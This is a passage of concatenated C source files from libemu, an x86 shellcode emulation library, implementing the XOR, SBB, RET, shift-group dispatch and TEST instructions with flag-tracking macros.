TRACK_INIT_ALL_FLAGS(instruction_p) \ TRACK_INIT_EFLAG(instruction_p, f_of); \ TRACK_INIT_EFLAG(instruction_p, f_cf); \ TRACK_INIT_EFLAG(instruction_p, f_zf); \ TRACK_INIT_EFLAG(instruction_p, f_pf); \ TRACK_INIT_EFLAG(instruction_p, f_sf); int32_t instr_xor_30(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 30 /r * r/m8 XOR r8 * XOR r/m8,r8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst, *c->reg8[i->modrm.opc], dst, ^) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], ^) TRACK_NEED_REG8(c->instr, i->modrm.rm); TRACK_INIT_REG8(c->instr, i->modrm.rm); } return 0; } int32_t instr_xor_31(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 31 /r * r/m16 XOR r16 * XOR r/m16,r16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *c->reg16[i->modrm.opc], dst, ^) TRACK_NEED_REG16(c->instr, i->modrm.opc); MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 31 /r * r/m32 XOR r32 * XOR r/m32,r32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, c->reg[i->modrm.opc], dst, ^) TRACK_NEED_REG32(c->instr, i->modrm.opc); MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 31 /r * r/m16 XOR r16 * XOR r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], ^) TRACK_NEED_REG16(c->instr, i->modrm.rm); TRACK_NEED_REG16(c->instr, i->modrm.opc); TRACK_INIT_REG16(c->instr, i->modrm.rm); } else { /* 31 /r * r/m32 XOR r32 * XOR r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.rm], ^) if (i->modrm.opc == i->modrm.rm) { TRACK_INIT_REG32(c->instr, i->modrm.opc); } /* TRACK_NEED_REG32(c->instr, i->modrm.rm); TRACK_NEED_REG32(c->instr, i->modrm.opc); TRACK_INIT_REG32(c->instr, i->modrm.rm); */ } } return 0; } int32_t instr_xor_32(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 32 /r * r8 XOR r/m8 * XOR r8,r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t op; MEM_BYTE_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(8, c, op, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.opc], ^) TRACK_NEED_REG8(c->instr, i->modrm.opc); TRACK_INIT_REG8(c->instr, i->modrm.opc); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], ^) TRACK_NEED_REG8(c->instr, i->modrm.opc); TRACK_NEED_REG8(c->instr, i->modrm.rm); TRACK_INIT_REG8(c->instr, i->modrm.opc); } return 0; } int32_t instr_xor_33(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 33 /r * r8 XOR r/m8 * XOR r16,r/m16 */ uint16_t op; MEM_WORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(16, c, op, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], ^) TRACK_NEED_REG16(c->instr, i->modrm.opc); TRACK_INIT_REG16(c->instr, i->modrm.opc); } else { /* 33 /r * r8 XOR r/m8 * XOR r32,r/m32 */ uint32_t op; MEM_DWORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(32, c, op, c->reg[i->modrm.opc], c->reg[i->modrm.opc], ^) if (operation_result == 0) { TRACK_INIT_REG32(c->instr, i->modrm.opc); } /* TRACK_NEED_REG32(c->instr, i->modrm.opc); */ } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 33 /r * r8 XOR r/m8 * XOR r16,r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.opc], ^) if (i->modrm.opc == i->modrm.rm) { TRACK_INIT_REG16(c->instr, i->modrm.opc); } /* TRACK_NEED_REG16(c->instr, i->modrm.rm); TRACK_NEED_REG16(c->instr, i->modrm.opc); TRACK_INIT_REG16(c->instr, i->modrm.opc); */ } else { /* 33 /r * r8 XOR r/m8 * XOR r32,r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.opc], ^) if (i->modrm.opc == i->modrm.rm) { TRACK_INIT_REG32(c->instr, i->modrm.opc); } /* TRACK_NEED_REG32(c->instr, i->modrm.rm); TRACK_NEED_REG32(c->instr, i->modrm.opc); TRACK_INIT_REG32(c->instr, i->modrm.opc); */ } } return 0; } int32_t instr_xor_34(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 34 ib * AL XOR imm8 * XOR AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[al], *i->imm8, *c->reg8[al], ^) TRACK_NEED_REG8(c->instr, al); TRACK_INIT_REG8(c->instr, al); return 0; } int32_t instr_xor_35(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->prefixes & PREFIX_OPSIZE ) { /* 35 iw * AX XOR imm16 * XOR AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[ax], *i->imm16, *c->reg16[ax], ^) TRACK_NEED_REG16(c->instr, ax); TRACK_INIT_REG16(c->instr, ax); } else { /* 35 id * EAX XOR imm32 * XOR EAX,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], i->imm, c->reg[eax], ^) TRACK_NEED_REG32(c->instr, eax); TRACK_INIT_REG32(c->instr, eax); } return 0; } int32_t instr_group_1_80_xor(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); /* dst <-- dst imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, dst, *i->imm8, dst, ^) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { /* reg8[rm] <-- reg8[rm] imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8, *c->reg8[i->modrm.rm], ^) TRACK_INIT_REG8(c->instr, i->modrm.rm); TRACK_NEED_REG8(c->instr, i->modrm.rm); } return 0; } int32_t instr_group_1_81_xor(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /6 iw * r/m16 XOR imm16 * XOR r/m16,imm16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *i->imm16, dst, ^) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 81 /6 id * r/m32 XOR imm32 * XOR r/m32,imm32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, i->imm, dst, ^) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /6 iw * r/m16 XOR imm16 * XOR r/m16,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm16, *c->reg16[i->modrm.rm], ^) TRACK_NEED_REG16(c->instr, i->modrm.rm); TRACK_INIT_REG16(c->instr, i->modrm.rm); } else { /* 81 /6 id * r/m32 XOR imm32 * XOR r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], i->imm, c->reg[i->modrm.rm], ^) TRACK_NEED_REG32(c->instr, i->modrm.rm); TRACK_INIT_REG32(c->instr, i->modrm.rm); } } return 0; } int32_t instr_group_1_83_xor(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /6 ib * r/m16 XOR imm8 (sign-extended) * XOR r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, sexd, dst, ^) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 83 /6 ib * r/m32 XOR imm8 (sign-extended) * XOR r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, sexd, dst, ^) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /6 ib * r/m16 XOR imm8 (sign-extended) * XOR r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], sexd, *c->reg16[i->modrm.rm], ^) TRACK_NEED_REG16(c->instr, i->modrm.rm); TRACK_INIT_REG16(c->instr, i->modrm.rm); } else { /* 83 /6 ib * r/m32 XOR imm8 (sign-extended) * XOR r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], sexd, c->reg[i->modrm.rm], ^) TRACK_NEED_REG32(c->instr, i->modrm.rm); TRACK_INIT_REG32(c->instr, i->modrm.rm); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/sbb.c0000644000175300017530000003105711706767213017562 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #define INSTR_CALC(bits, a, b, c, operation, cpu) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operand_b = b; \ UINTOF(bits) operation_result = operand_a operation operand_b operation ((cpu->eflags & (1 << f_cf))?1:0); \ c = operation_result; #define INSTR_SET_FLAG_OF(cpu, operand,bits) \ { \ int64_t sx = (INTOF(bits))operand_a; \ int64_t sy = (INTOF(bits))operand_b; \ int64_t sz = 0; \ \ sz = sx operand sy operand ((cpu->eflags & (1 << f_cf))?1:0); \ /* printf("of: sx %lli + sy %lli + cf %i = sz %lli \n", sx, sy, (cpu->eflags & (1 << f_cf))?1:0, sz); */ \ \ if (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \ || sz != (INTOF(bits))operation_result ) \ { \ CPU_FLAG_SET(cpu, f_of); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } #define INSTR_SET_FLAG_CF(cpu, operand) \ { \ uint64_t ux = (uint64_t)operand_a; \ uint64_t uy = (uint64_t)operand_b; \ uint64_t uz = 0; \ uz = ux operand uy operand ((cpu->eflags & (1 << f_cf))?1:0); \ /*printf("cf: ux %lli + uy %lli + cf %i = uz %lli \n", ux, uy, (cpu->eflags & (1 << f_cf))?1:0, uz);*/ \ \ if (uz < max_inttype_borders[sizeof(operation_result)][1][0] || uz > max_inttype_borders[sizeof(operation_result)][1][1] \ || uz != (uint64_t)operation_result ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_cf); \ } \ } #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation) \ INSTR_CALC(bits, a, b, c, operation, cpu) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_OF(cpu, operation, bits) \ INSTR_SET_FLAG_CF(cpu, operation) #define TRACK_INIT_ALL_FLAGS(instruction_p) \ TRACK_INIT_EFLAG(instruction_p, f_zf); \ TRACK_INIT_EFLAG(instruction_p, f_pf); \ TRACK_INIT_EFLAG(instruction_p, f_sf); \ TRACK_INIT_EFLAG(instruction_p, f_of); \ TRACK_INIT_EFLAG(instruction_p, f_cf); int32_t instr_sbb_18(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 18 /r * Subtract with borrow r8 from r/m8 * SBB r/m8,r8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst, *c->reg8[i->modrm.opc], dst, -) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], -) } return 0; } int32_t instr_sbb_19(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 19 /r * Subtract with borrow r16 from r/m16 * SBB r/m16,r16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *c->reg16[i->modrm.opc], dst, -) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 19 /r * Subtract with borrow r32 from r/m32 * SBB r/m32,r32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, c->reg[i->modrm.opc], dst, -) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 19 /r * Subtract with borrow r16 from r/m16 * SBB r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], -) } else { /* 19 /r * Subtract with borrow r32 from r/m32 * SBB r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.rm], -) } } return 0; } int32_t instr_sbb_1a(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 1A /r * Subtract with borrow r/m8 from r8 * SBB r8,r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t op; MEM_BYTE_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], op, *c->reg8[i->modrm.opc], -) } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], -) } return 0; } int32_t instr_sbb_1b(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 1B /r * Subtract with borrow r/m16 from r16 * SBB r16,r/m16 */ uint16_t op; MEM_WORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.opc], op, *c->reg16[i->modrm.opc], -) } else { /* 1B /r * Subtract with borrow r/m32 from r32 * SBB r32,r/m32 */ uint32_t op; MEM_DWORD_READ(c, i->modrm.ea, &op); INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.opc], op, c->reg[i->modrm.opc], -) } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 1B /r * Subtract with borrow r/m16 from r16 * SBB r16,r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], -) } else { /* 1B /r * Subtract with borrow r/m32 from r32 * SBB r32,r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.opc], c->reg[i->modrm.rm], c->reg[i->modrm.opc], -) } } return 0; } int32_t instr_sbb_1c(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* 1C ib * Subtract with borrow imm8 from AL * SBB AL,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[al], *i->imm8, *c->reg8[al], -) return 0; } int32_t instr_sbb_1d(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->prefixes & PREFIX_OPSIZE ) { /* 1D iw * Subtract with borrow imm16 from AX * SBB AX,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[ax], *i->imm16, *c->reg16[ax], -) } else { /* 1D id * Subtract with borrow imm32 from EAX * SBB EAX,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[eax], i->imm, c->reg[eax], -) } return 0; } int32_t instr_group_1_80_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); /* dst <-- dst imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, dst, *i->imm8, dst, -) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { /* reg8[rm] <-- reg8[rm] imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8, *c->reg8[i->modrm.rm], -) } return 0; } int32_t instr_group_1_81_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /3 iw * Subtract with borrow imm16 from r/m16 * SBB r/m16,imm16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *i->imm16, dst, -) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 81 /3 id * Subtract with borrow imm32 from r/m32 * SBB r/m32,imm32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, i->imm, dst, -) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 81 /3 iw * Subtract with borrow imm16 from r/m16 * SBB r/m16,imm16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm16, *c->reg16[i->modrm.rm], -) } else { /* 81 /3 id * Subtract with borrow imm32 from r/m32 * SBB r/m32,imm32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], i->imm, c->reg[i->modrm.rm], -) } } return 0; } int32_t instr_group_1_83_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /3 ib * Subtract with borrow sign-extended imm8 from r/m16 * SBB r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, sexd, dst, -) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 83 /3 ib * Subtract with borrow sign-extended imm8 from r/m32 * SBB r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, sexd, dst, -) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 83 /3 ib * Subtract with borrow sign-extended imm8 from r/m16 * SBB r/m16,imm8 */ int16_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], sexd, *c->reg16[i->modrm.rm], -) } else { /* 83 /3 ib * Subtract with borrow sign-extended imm8 from r/m32 * SBB r/m32,imm8 */ int32_t sexd = (int8_t)*i->imm8; INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], sexd, c->reg[i->modrm.rm], -) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/ret.c0000644000175300017530000000415711706767213017607 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" int32_t instr_ret_c2(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* C2 * Near return to calling procedure and pop imm16 bytes from stack * iw RET imm16 */ POP_DWORD(c, &c->eip); #if BYTE_ORDER == BIG_ENDIAN uint16_t val; bcopy(i->imm16, &val, 2); c->reg[esp] += val; #else c->reg[esp] += *i->imm16; #endif return 0; } int32_t instr_ret_c3(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* C3 * Near return to calling procedure * RET */ POP_DWORD(c, &c->eip); return 0; } int32_t instr_ret_ca(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* CA iw * Far return to calling procedure and pop imm16 bytes from stack * RET imm16 */ UNIMPLEMENTED(c, NNY); return -1; } int32_t instr_ret_cb(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* CB * Far return to calling procedure * RET */ UNIMPLEMENTED(c, NNY); return -1; } libemu-0.2.0+git20120122+564/src/functions/group_2.c0000644000175300017530000001015411706767213020364 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_functions.h" #include "emu/emu_memory.h" int32_t instr_group_2_c0(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_2_c0_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_2_c0_rol, /* 1 */ instr_group_2_c0_ror, /* 2 */ instr_group_2_c0_rcl, /* 3 */ instr_group_2_c0_rcr, /* 4 */ instr_group_2_c0_sal, /* 5 */ instr_group_2_c0_shr, /* 6 */ instr_group_2_c0_sal, // sal is shl /* 7 */ instr_group_2_c0_sar, }; return group_2_c0_fn[i->modrm.opc](c, i); } int32_t instr_group_2_c1(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_2_c1_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_2_c1_rol, /* 1 */ instr_group_2_c1_ror, /* 2 */ instr_group_2_c1_rcl, /* 3 */ instr_group_2_c1_rcr, /* 4 */ instr_group_2_c1_sal, /* 5 */ instr_group_2_c1_shr, /* 6 */ instr_group_2_c1_sal, // sal is shl, /* 7 */ instr_group_2_c1_sar, }; return group_2_c1_fn[i->modrm.opc](c, i); } int32_t instr_group_2_d0(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_2_d0_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_2_d0_rol, /* 1 */ instr_group_2_d0_ror, /* 2 */ instr_group_2_d0_rcl, /* 3 */ instr_group_2_d0_rcr, /* 4 */ instr_group_2_d0_sal, /* 5 */ instr_group_2_d0_shr, /* 6 */ instr_group_2_d0_sal, // sal is shl /* 7 */ instr_group_2_d0_sar, }; return group_2_d0_fn[i->modrm.opc](c, i); } int32_t instr_group_2_d1(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_2_d1_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_2_d1_rol, /* 1 */ instr_group_2_d1_ror, /* 2 */ instr_group_2_d1_rcl, /* 3 */ instr_group_2_d1_rcr, /* 4 */ instr_group_2_d1_sal, /* 5 */ instr_group_2_d1_shr, /* 6 */ instr_group_2_d1_sal, // sal is shl0, /* 7 */ instr_group_2_d1_sar, }; return group_2_d1_fn[i->modrm.opc](c, i); } int32_t instr_group_2_d2(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_2_d2_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_2_d2_rol, /* 1 */ instr_group_2_d2_ror, /* 2 */ instr_group_2_d2_rcl, /* 3 */ instr_group_2_d2_rcr, /* 4 */ instr_group_2_d2_sal, /* 5 */ instr_group_2_d2_shr, /* 6 */ instr_group_2_d2_sal, // sal is shl, /* 7 */ instr_group_2_d2_sar, }; return group_2_d2_fn[i->modrm.opc](c, i); } int32_t instr_group_2_d3(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_2_d3_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_2_d3_rol, /* 1 */ instr_group_2_d3_ror, /* 2 */ instr_group_2_d3_rcl, /* 3 */ instr_group_2_d3_rcr, /* 4 */ instr_group_2_d3_sal, // sal is shl /* 5 */ instr_group_2_d3_shr, /* 6 */ instr_group_2_d3_sal, // sal is shl /* 7 */ instr_group_2_d3_sar, }; return group_2_d3_fn[i->modrm.opc](c, i); } libemu-0.2.0+git20120122+564/src/functions/test.c0000644000175300017530000001377511706767213020002 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operand_b = b; \ UINTOF(bits) operation_result = operand_a & operand_b; #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 728*/ #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ CPU_FLAG_UNSET(cpu,f_cf); \ CPU_FLAG_UNSET(cpu,f_of); int32_t instr_test_84(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3) { /* 84 /r * AND r8 with r/m8; set SF, ZF, 